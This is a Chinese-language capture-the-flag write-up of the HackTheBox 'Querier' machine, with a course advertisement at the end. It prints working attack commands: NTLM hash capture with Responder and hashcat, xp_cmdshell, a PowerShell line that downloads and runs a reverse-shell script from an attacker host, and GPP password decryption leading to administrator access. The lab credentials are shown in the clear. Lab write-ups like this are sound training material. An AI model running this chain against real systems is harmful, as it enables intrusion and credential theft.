点击上方蓝字关注我们
是一个没有web页面的靶机环境,主要针对office宏和myssql的信息搜集和利用点
可见smb和mssql 开了。连web都没有,就这几个端口渗透了
C:\root> nmap -A 10.10.10.125
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-13 09:36 CST
Nmap scan report for 10.10.10.125 (10.10.10.125)
Host is up (0.34s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: QUERIER.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-02-13T01:34:59
|_Not valid after: 2051-02-13T01:34:59
|_ssl-date: 2021-02-13T01:37:58+00:00; -1s from scanner time.
No exact OS matches for host (If you know what OS is running on i
在nmap看到了QUERIER.HTB
,加到本机的/etc/hosts
,然后进行smb渗透,发现有个report,再进report。发现有个excel文件。下载下来
smbclient --list //querier.htb/ -U ""
smbclient //querier.htb/Reports/ -U ""
那么我们用smbclient来访问Reports目录,并执行命令操作
发现目录里面有一个excel文件,我们把他下载回来
xls是2003版本下的文件,不管有没有宏程序的话都是xls文件。
2007做了区分,XLSM文件XLSX文件都是excel2007文件,但前者是含有宏启用,Excel中默认情况下不自动启用宏。
Excel不会执行宏XLSX文件,即使它们包含宏代码,因此含有宏的文件可以保存为xlsm文件。
这个“Currency Volume Report.xlsm”是存在宏的,将xlsm改成zip后缀
解压里面有个vbaProject.bin
文件
这里我们用下OLE工具套件来分析office宏
用apt安装ole套件
如果无法用apt安装,可以直接下载仓库
https://github.com/decalage2/oletools
安装必要的模块
pip install -r requirements.txt
执行
python /root/exp/oletools-master/oletools/olevba.py vbaProject.bin
发现账号密码获取一个账号密码Uid=reporting;Pwd=PcwTWTHRwryjc$c6
尝试mssql登录
著名的impacket包里的mssql登录工具https://github.com/SecureAuthCorp/impacket
mssqlclient.py -windows-auth [email protected]
打开cmd功能但是报错
enable_xp_cmdshell
然后我们访问下cmd,发现被禁止
因为我们的权限不够,但是我们可以用Responder对服务器上的凭证进行窃取
抓NTLMv2 hash
跟giddy靶机类似,如下需要在本地开个SMB服务,通过访问本地攻击机来抓取hash
# 这个IP是本地攻击机IP,文件名是根据情况确定
exec xp_dirtree '\\10.10.10.125\fileshtb'
本机打开sudo responder -I tun0
,抓到
mssql-svc::QUERIER:1072ba8399b709af:A582155B75AC3C72DF13147587E681EB:0101000000000000C0653150DE09D20166C9A7E7E98C6385000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000000000000003000009B0DB065978622B7274EE512609B3E76554B8A83FBF5360AB1FBFD04EC4999A00A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0031003500000000000000000000000000
hashcat -m 5600 Querier.NetNTLMv2 /usr/share/wordlists/rockyou.txt
得到密码corporate568
,继续新账号登录
mssqlclient.py -windows-auth mssql-svc:[email protected]
继续打开cmd功能
enable_xp_cmdshell
执行成功
EXEC xp_cmdshell "whoami"
我们使用nishang的反弹shell脚本https://github.com/sdfzy/nishang
cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 reverse.ps1
然后我们编辑下reverse.ps1脚本在底下加上,IP写上你自己的IP,端口写上你nc监听的端口
然后还是老样子用python开启简单HTTP服务,让靶机把我们的reverse.ps1下载并执行
xp_cmdshell "powershell IEX(New-Object Net.WebClient).downloadstring("http://10.10.16.2:82/Invoke-PowerShellTcp.ps1")"
在本地使用NC监听端口,然后我们就能拿到shell,得到user的flag
这里我们使用PowerSploit里面的提权信息收集脚本PowerUp.ps1
https://github.com/PowerShellMafia/PowerSploit
一样把脚本拷贝过来,并让靶机下载执行
IEX(New-Object Net.Webclient).downloadstring("http://10.10.16.2:82/PowerUp.ps1");Invoke-AllChecks
这里可能需要等几分钟出结果
这里我们看到一个服务滥用
我们尝试利用下
发现john确实加进来了,我们利用smbmap利用下,这里需要增加-d参数 写上域的名字
然后发现这个john的权限也不够
我们换一个提权方式
Changed : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File : C:\ProgramData\Microsoft\Group
Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
这里还有一组管理员的账号和密码我们再次进行尝试,成功!
提权成功,我们已经拿到system权限了,这里就不演示cat root flag了
这里还有一种是GPP漏洞的利用,原理跟上面是差不多的。只是需要自己手动破解密码,我们可以通过找到组策略里面的管理员密码并破解出来
Groups.xml
<?xml version="1.0" encoding="UTF-8" ?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userContext="0" removePolicy="0" policyApplied="1">
<Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>
我们仍然需要解密密码,这可以通过以下方式轻松完成gpp-decrypt:
[email protected]:~/HTB/Querier# gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ /usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
MyUnclesAreMarioAndLuigi!!1!
这里看到这里的密码也是我们上面获取到的密码一样
MyUnclesAreMarioAndLuigi!!1!
直接使用evil-winrm连接
evil-winrm -i 10.10.10.125 -u administrator -p 'MyUnclesAreMarioAndLuigi!!1!'
获得最终Flag
这个靶机重点在于对Mssql的凭据获取和反弹,首先从smb获取带宏的xlsm文件,并用ole来分析宏,获得了mssql的低权限用户,使用Responder抓取高权限凭据的hash,并使用john或hashcat对NTML进行解密,成功使用nishang的脚本反弹shell,并使用提权信息收集脚本PowerUp.ps1获取到明文的administrator账户密码,直接拿到最终的Flag完成该靶机渗透全过程。
如果想要系统学习网络安全技术
不妨加入知识星球课程
《60天入门网络安全渗透测试》
从入门到案例,贴合实战
轻松易懂、好玩实用
限时领取
知识星球
活动优惠券
跟着60天入门学习路线一起学
期待你的到来!
往期推荐
从入门到入狱的技术,可以学,别乱用!
网络安全学习方向和资源整理(建议收藏)
一个web安全工程师的基础学习规划
资源 | 渗透测试工程师入门教程(限时领取)
5年老鸟推荐10个玩Python必备的网站
推荐十个成为网络安全渗透测试大佬的学习必备网站!
那些社工师不为人知的秘密。。。
更多内容请关注公众号
网络安全自修室
点个在看你最好看